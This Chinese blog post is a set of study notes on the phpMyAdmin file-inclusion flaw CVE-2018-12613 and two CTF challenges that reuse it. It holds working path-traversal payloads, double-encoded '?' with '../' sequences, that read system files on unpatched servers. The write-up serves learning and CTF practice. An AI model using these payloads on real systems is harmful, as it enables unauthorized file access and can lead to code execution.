由CTF延伸到CVE漏洞的学习

最近做CTF遇到两个类似的题,后面了解才知道是一个CVE漏洞,写一篇笔记加深印象

先说CVE

[CVE-2018-12613]phpMyadmin远程文件包含

phpMyAdmin是phpMyAdmin团队开发的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等。

漏洞描述

攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。 攻击者必须经过身份验证,但在这些情况下除外:

  • $ cfg [‘AllowArbitraryServer’] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码;

  • $ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。

影响版本

  • Phpmyadmin Phpmyadmin 4.8.0

  • Phpmyadmin Phpmyadmin 4.8.0.1

  • Phpmyadmin Phpmyadmin 4.8.1

原理分析

从index.php开始分析

if (! empty($_REQUEST['target'])    //target参数没有过滤,并且直接include
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])    //限制 target 参数不能以index开头
&& ! in_array($_REQUEST['target'], $target_blacklist)   //限制 target 参数不在黑名单内
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
} 

通过以上代码,大概理个思路,由于target可以直接传入,且过滤程度不够直接进行了include包含,因此尝试包含target参数,经过分析,发现对target参数的限制有三点:

  • 限制 target 参数不能以index开头

  • 限制 target 参数不在黑名单内

  • 符合函数checkPageValidity()的验证

首先查看$target_blacklist:

$target_blacklist = array (
    'import.php', 'export.php'
);

跟进checkPageValidity()函数

phpMyAdmin-4.8.1-english\libraries\classes\Core.php 第443行开始

    public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }
​
        if (in_array($page, $whitelist)) {
            return true;            //返回true的方式1 
        }
​
        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;        //返回true的方式2
        }
​
        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;        //返回true的方式3
        }
​
        return false;
    }

根据以上代码可以知道,要想返回true有三个方法

第一个方法,直接对page参数判断是否在白名单内,无法利用

第二个方法,这个判断是对$page校验是否在白名单中,而$_page是将$page值末尾加上’?’后从字符串第0位开始分割,取其中第一次出现?之前的内容。这里不能用xxx.php?/../../../绕过,因为PHP中会把?后面的内容作为文件xxx.php中的参数。

第三个方法,先将$page进行urldecode解码,然后再进行?的分割,取值进行判断,只要解码后分割出来的值在$whitelist中即可满足条件。而在$target 里问号被二次编码为%253f, export.php%253f也会被认为是一个目录,可以用../跨越,成功实现包含。因此命名规范里面没有将%放进去也是该漏洞能在windows下成功利用的一个关键点。

payload:index.php?target=export.php%25%33%66/../../../../../../../../../windows/system.ini

include $_REQUEST[‘target’];`
就变成
`include ‘export.php%3f/../../../../../../../../../windows/system.ini'

白名单,第31行

 

 

ctf实战:

1.[HCTF 2018]Warm Up

检查源代码,发现source.php,直接通过source.php查看内容,

 

 

发现定义了一个白名单,分别是source/hint.php,那就先查看hint.php

检查源码后发现没东西,就看source的源码,很明显看到最后有include文件包含。

上面的代码内容:首先定义了一个白名单,然后判断page是否为空或字符串,不是返回false,判断后再判断是否在白名单里,在白名单中返回true。

往下看,

 $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
mb_substr(str1,start,[length][,[str2]]):是在str1从start开始length为长度截取字符串,str2是表示字符编码
mb_strpos(str1,str2):查找str2在str1中出现的位置

这部分是对url地址中?前的字符做截取。然后再判断是否在白名单中,如果在,则进行url解码,此时_page就是解码过的page,再对?前的字符进行判断,是否在白名单中

最后进行文件包含的操作。

payload构造

由于两次检查了?前的内容,均需要在白名单中

payload:source.php?file=source.php?../../../../../ffffllllaaaagggg

成功

 

2.[GWCTF 2019]我有一个数据库

进入题目后,是一堆乱码

 

在找不到提示问题的时候,就走常规套路,抓包,扫目录看看有什么什么可疑的,结果御剑扫描发现phpmyadmin目录,可以直接进入,且发现版本信息

 

是该漏洞影响版本,修改一下直接上上文给出的payload

 

根目录下看看试下有没有flag

 

 

利用该漏洞获取webshell和其他利用方法,参考:https://blog.csdn.net/qq_34444097/article/details/85264686

 

posted @ 2020-12-07 11:46  励志成为蔡徐坤  阅读(263)  评论(0编辑  收藏  举报